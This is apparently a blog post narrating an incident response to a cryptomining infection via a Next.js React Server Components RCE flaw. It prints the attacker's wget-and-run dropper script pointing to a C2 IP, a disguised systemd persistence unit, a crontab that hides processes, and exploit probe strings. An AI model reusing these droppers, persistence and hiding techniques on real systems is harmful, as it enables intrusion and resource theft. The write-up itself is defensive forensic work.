Server gets hacked. Crypto miner response device.

React2Shell. Response to intrusion and infection due to the Next.js RSC (React Server Components) RCE vulnerability.

·~6 min read·781 views·Updated: Oct 5, 2026
Exciting Friday evening. I received a message from the cloud provider. "There is a large amount of outbound traffic from the server to a Chinese IP." With a startled heart, I connected via SSH and found that the CPU usage was maintaining at 100%.
Exciting Friday evening. I received a message from the cloud provider. "There is a large amount of outbound traffic from the server to a Chinese IP." With a startled heart, I connected via SSH and found that the CPU usage was maintaining at 100%.

Beginning of the Incident

Signs of Abnormality Detected

On the night of Friday, December 5, 2025, I received a call from the cloud support team I was using.
A large amount of outbound traffic is occurring to a Chinese IP.
With an uneasy heart, I connected via SSH and typed the top command..

PID     USER  PR NI  VIRT   RES   SHR S %CPU %MEM  COMMAND
2096450 root  20  0  7820  1368  1168 R 93.3  0.0  strings
PID     USER  PR NI  VIRT   RES   SHR S %CPU %MEM  COMMAND
2096450 root  20  0  7820  1368  1168 R 93.3  0.0  strings

Strings..? Is it not consuming 93% of the CPU..? Moreover, even after killing the process, it kept reviving with a changing PID.

First Response: Identifying the Process

Understanding the Malware Structure

Tracking the process tree with pstree began to reveal the structure.

systemd,1
  └─sh,882056 /dev/health.sh
      ├─grep,2110109 -q xmrig
      └─strings,2110108 /proc/2497/exe
systemd,1
  └─sh,882056 /dev/health.sh
      ├─grep,2110109 -q xmrig
      └─strings,2110108 /proc/2497/exe

A script called /dev/health.sh was running with 5 instances. A script I had never created.. I decided to take a look at its contents.

while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}
        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done
while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}
        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi
        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
        case "$result" in
            *"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
                kill -9 "$pid"
                ;;
        esac
    done
    sleep 45
done

It seemed to be scanning processes every 45 seconds and killing xmrig, watcher, and softirq miners?

But the real core was in /dev/shm/bts..

#!/bin/bash
pkill -9 xmrig

P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
  busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P;
  busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json;
  chmod 777 /tmp/$P;
  /tmp/$P -c /tmp/config.json -B &
fi

if ! pgrep "health.sh"; then
    cat <<'EOF' > "${R}/health.sh"
    # ... health.sh content auto-generated ...
    chmod 777 "${R}/health.sh"
    ${R}/health.sh &
fi

echo MEOWWWWWWWWW
#!/bin/bash
pkill -9 xmrig

P="fghgf"
R="/dev"
if ! pgrep $P > /dev/null; then
  busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P;
  busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json;
  chmod 777 /tmp/$P;
  /tmp/$P -c /tmp/config.json -B &
fi

if ! pgrep "health.sh"; then
    cat <<'EOF' > "${R}/health.sh"
    # ... health.sh content auto-generated ...
    chmod 777 "${R}/health.sh"
    ${R}/health.sh &
fi

echo MEOWWWWWWWWW

From the contents, it seems the operational sequence is as follows:
1. Kill competing miner? (xmrig)
2. Download mining binary and configuration file from C2 server (193.34.213.150)
3. Execute in the background
4. Automatically regenerate the above health.sh.

Lastly, echo MEOWWWWW for a little scratch..

First Removal

# Kill all malicious processes
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"

# Delete malicious files
rm -f /dev/health.sh /dev/shm/bts /tmp/fghgf /tmp/config.json

# Block C2 server
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150

# Block all access from China on iwinv firewall
# Kill all malicious processes
pkill -9 -f "health.sh"
pkill -9 -f "fghgf"

# Delete malicious files
rm -f /dev/health.sh /dev/shm/bts /tmp/fghgf /tmp/config.json

# Block C2 server
ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150

# Block all access from China on iwinv firewall

The CPU returned to normal, and I thought it was over.
But that was a mistake..

Second Infection.. The Miner Returns

Reinfection after 10 Hours

The next day at 10 AM, CPU at 200% again..

PID     USER  PR NI  VIRT    RES    SHR S %CPU  COMMAND
2313800 root  20  0  ...     ...    ... R 200.0 p9gzSA
PID     USER  PR NI  VIRT    RES    SHR S %CPU  COMMAND
2313800 root  20  0  ...     ...    ... R 200.0 p9gzSA

This time it was named p9gzSA.. The address was different from the previous day.

/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls
/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls

Diving Deeper

During the first response, I only deleted what was visible, but this time I decided to check thoroughly.
I discovered a disguised systemd service..

$ cat /usr/lib/systemd/system/systemd-agent.service

[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root

[Install]
WantedBy=multi-user.target
$ cat /usr/lib/systemd/system/systemd-agent.service

[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root

[Install]
WantedBy=multi-user.target

I found a hidden systemd service with a plausible name and description, making it appear as a system default service. It didn't stand out because it contained "systemd" in its name.

Upon analyzing it, I found that 4 C2 server IPs were hardcoded within.

185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10
185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10

I even discovered the MeshAgent remote management tool.

$ ls /usr/local/mesh_services/meshagent/
meshagent
$ ls /usr/local/mesh_services/meshagent/
meshagent

The MeshCentral agent was installed.

MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud
MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud

It had even modified the crontab at will.

* * * * * pgrep -f meshagent | while read pid; do \
    mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done
* * * * * pgrep -f meshagent | while read pid; do \
    mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done

Not only did they hack and use it for mining, but they also embedded many persistence mechanisms to make response difficult.

Tracing the Intrusion Path

In fact, I should have thought not only about deleting what was immediately visible during the first response but also about how they got in.
This time, I decided to properly find the vulnerability.
There were no records of external IP access in auth.log.. so I slowly sifted through the web server access logs in chronological order.

It was evident that reconnaissance attempts had begun at the end of November, and serious attacks had started from December 2.
There were traces of RCE attempts from a Chinese IP, and after the second RCE attempt on December 5,
on December 6, there was a large-scale scan. I could confirm a barrage attack attempting dozens of RCE vectors within a minute.

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh    # Path Traversal
php://input                              # PHP RCE
eval-stdin.php                           # PHPUnit RCE
call_user_func_array                     # ThinkPHP RCE
pearcmd&+config-create                   # PEARCMD RCE
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh    # Path Traversal
php://input                              # PHP RCE
eval-stdin.php                           # PHPUnit RCE
call_user_func_array                     # ThinkPHP RCE
pearcmd&+config-create                   # PEARCMD RCE

Finding the Culprit: Next.js RSC Vulnerability

The real intrusion path was separate. It was the Next.js project running on the server.
There were a large number of POST requests to the Next.js RSC (React Server Components) endpoints in the access logs.

POST /_next/flight
POST /_react/flight
POST /_next/server-actions
POST /_next/flight
POST /_react/flight
POST /_next/server-actions

Remote Code Execution (RCE) through the Next.js RSC serialization vulnerability. During the first response, I only deleted the visible miner, leaving the vulnerability in the Next.js app intact, which was the cause of reinfection.

Security patches and updates addressing this vulnerability have been implemented, and the current situation is that the server has been deleted and migrated to a new server. There may still be undiscovered lurking elements..

In Conclusion

We must address the root cause, not just the symptoms. The biggest mistake during the first response was thinking it was over just because the CPU returned to normal.

Attackers embed multiple layers of persistence elements. It's not enough to find just one; the entire system must be thoroughly examined.

The response took about 15 hours from Friday night to Saturday afternoon.
In the future, I will continuously check for security issues and pay attention to inspecting and updating for vulnerabilities within the system.

Share